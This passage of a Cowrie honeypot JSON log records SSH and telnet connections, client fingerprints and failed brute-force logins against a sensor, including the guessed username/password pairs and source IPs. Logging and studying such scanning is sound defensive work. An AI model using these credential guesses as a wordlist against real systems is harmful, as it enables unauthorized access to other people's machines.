af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:24.316784Z","src_ip":"177.85.247.230","session":"e44815b68b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02401638031006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:24.476754Z","src_ip":"38.60.198.128","session":"2e79aae914ca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"123456789","message":"login attempt [ftp_user/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:24.713061Z","src_ip":"177.85.247.230","session":"e44815b68b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:25.819074Z","src_ip":"177.85.247.230","session":"e44815b68b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.536609172821045,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:37.618587Z","src_ip":"38.60.198.128","session":"382a61825486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.98444843292236,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:38.570659Z","src_ip":"38.54.119.93","session":"1a2176884dfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49716,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4fb463d5fb5","protocol":"telnet","message":"New connection: 38.60.198.128:49716 (159.203.135.109:23) [session: a4fb463d5fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:41.125618Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53312,"dst_ip":"159.203.135.109","dst_port":23,"session":"92738a3def59","protocol":"telnet","message":"New connection: 38.60.198.128:53312 (159.203.135.109:23) [session: 92738a3def59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:44.310785Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":57988,"dst_ip":"159.203.135.109","dst_port":22,"session":"818d6feba453","protocol":"ssh","message":"New connection: 186.10.86.130:57988 (159.203.135.109:22) [session: 818d6feba453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:44.656252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:44.661551Z","src_ip":"186.10.86.130","session":"818d6feba453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:44.811112Z","src_ip":"186.10.86.130","session":"818d6feba453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"qweasd","message":"login attempt [testuser/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:45.443702Z","src_ip":"186.10.86.130","session":"818d6feba453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41064,"dst_ip":"10.17.0.5","dst_port":23,"session":"514b30bd578a","protocol":"telnet","message":"New connection: 38.54.119.93:41064 (10.17.0.5:23) [session: 514b30bd578a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:46.177218Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:46.595320Z","src_ip":"186.10.86.130","session":"818d6feba453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.767818212509155,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:49.270926Z","src_ip":"38.60.198.128","session":"c7fec8d96e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":15700,"dst_ip":"10.17.0.5","dst_port":22,"session":"236387286bb1","protocol":"ssh","message":"New connection: 115.68.208.117:15700 (10.17.0.5:22) [session: 236387286bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:51.630943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:51.634977Z","src_ip":"115.68.208.117","session":"236387286bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:51.845452Z","src_ip":"115.68.208.117","session":"236387286bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.474940061569214,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:52.018592Z","src_ip":"38.60.198.128","session":"e9d1d7cca8ef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123456","message":"login attempt [ubuntu/P@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:52.731261Z","src_ip":"115.68.208.117","session":"236387286bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.5.240.131","src_port":36788,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d7ba98e94e","protocol":"telnet","message":"New connection: 139.5.240.131:36788 (159.203.135.109:23) [session: b2d7ba98e94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:53.304232Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:53.943474Z","src_ip":"115.68.208.117","session":"236387286bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35060,"dst_ip":"159.203.135.109","dst_port":23,"session":"a23d85d0b196","protocol":"telnet","message":"New connection: 38.60.198.128:35060 (159.203.135.109:23) [session: a23d85d0b196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:54.377555Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45900,"dst_ip":"10.17.0.5","dst_port":23,"session":"b135bc2cb837","protocol":"telnet","message":"New connection: 65.60.27.33:45900 (10.17.0.5:23) [session: b135bc2cb837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:56.626916Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39440,"dst_ip":"159.203.135.109","dst_port":23,"session":"f73b29a5ce59","protocol":"telnet","message":"New connection: 38.60.198.128:39440 (159.203.135.109:23) [session: f73b29a5ce59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:59.377847Z"}
{"eventid":"cowrie.session.closed","duration":42.29917573928833,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:32:59.942459Z","src_ip":"38.60.198.128","session":"6b1f01f9ef26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":33700,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c1aa2e01e9b","protocol":"ssh","message":"New connection: 186.113.245.157:33700 (10.17.0.5:22) [session: 2c1aa2e01e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:04.019659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:04.024484Z","src_ip":"186.113.245.157","session":"2c1aa2e01e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:04.117293Z","src_ip":"186.113.245.157","session":"2c1aa2e01e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!","message":"login attempt [ubuntu/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:04.520222Z","src_ip":"186.113.245.157","session":"2c1aa2e01e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:05.616809Z","src_ip":"186.113.245.157","session":"2c1aa2e01e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.987693071365356,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:06.291785Z","src_ip":"139.5.240.131","session":"b2d7ba98e94e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52714,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5733f6559ef","protocol":"telnet","message":"New connection: 38.60.198.128:52714 (159.203.135.109:23) [session: a5733f6559ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:10.273757Z"}
{"eventid":"cowrie.session.closed","duration":2.321880578994751,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:12.595518Z","src_ip":"38.60.198.128","session":"a5733f6559ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":51108,"dst_ip":"159.203.135.109","dst_port":22,"session":"338e41de7223","protocol":"ssh","message":"New connection: 94.156.152.18:51108 (159.203.135.109:22) [session: 338e41de7223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:14.507333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:14.514961Z","src_ip":"94.156.152.18","session":"338e41de7223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:14.649235Z","src_ip":"94.156.152.18","session":"338e41de7223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU8GBAMD","message":"login attempt [root/XYZZ#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:15.055626Z","src_ip":"94.156.152.18","session":"338e41de7223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:16.192933Z","src_ip":"94.156.152.18","session":"338e41de7223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:17.725666Z","src_ip":"14.103.127.97","session":"fe1ba757f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34558,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf2946fb7966","protocol":"telnet","message":"New connection: 38.60.198.128:34558 (159.203.135.109:23) [session: cf2946fb7966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:18.936430Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5d593bb68c","protocol":"telnet","message":"New connection: 45.81.23.16:49422 (10.17.0.5:23) [session: cb5d593bb68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:19.098933Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":53852,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d353c023fcd","protocol":"telnet","message":"New connection: 45.81.23.16:53852 (10.17.0.5:23) [session: 0d353c023fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:21.299934Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":39054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b376a260e3","protocol":"ssh","message":"New connection: 177.85.247.230:39054 (10.17.0.5:22) [session: f6b376a260e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:23.525973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:23.530449Z","src_ip":"177.85.247.230","session":"f6b376a260e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:23.632035Z","src_ip":"177.85.247.230","session":"f6b376a260e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"root","message":"login attempt [kafka/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:24.072067Z","src_ip":"177.85.247.230","session":"f6b376a260e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:25.179911Z","src_ip":"177.85.247.230","session":"f6b376a260e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.303829669952393,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:27.603635Z","src_ip":"45.81.23.16","session":"0d353c023fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":37554,"dst_ip":"159.203.135.109","dst_port":22,"session":"33fcbf9147e0","protocol":"ssh","message":"New connection: 191.101.59.69:37554 (159.203.135.109:22) [session: 33fcbf9147e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:28.694447Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.92.230.4","src_port":40911,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddfcde12664c","protocol":"telnet","message":"New connection: 180.92.230.4:40911 (159.203.135.109:23) [session: ddfcde12664c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:29.177580Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47702,"dst_ip":"159.203.135.109","dst_port":23,"session":"127925211e56","protocol":"telnet","message":"New connection: 38.60.198.128:47702 (159.203.135.109:23) [session: 127925211e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:29.933312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:33:30.298326Z","src_ip":"191.101.59.69","session":"33fcbf9147e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 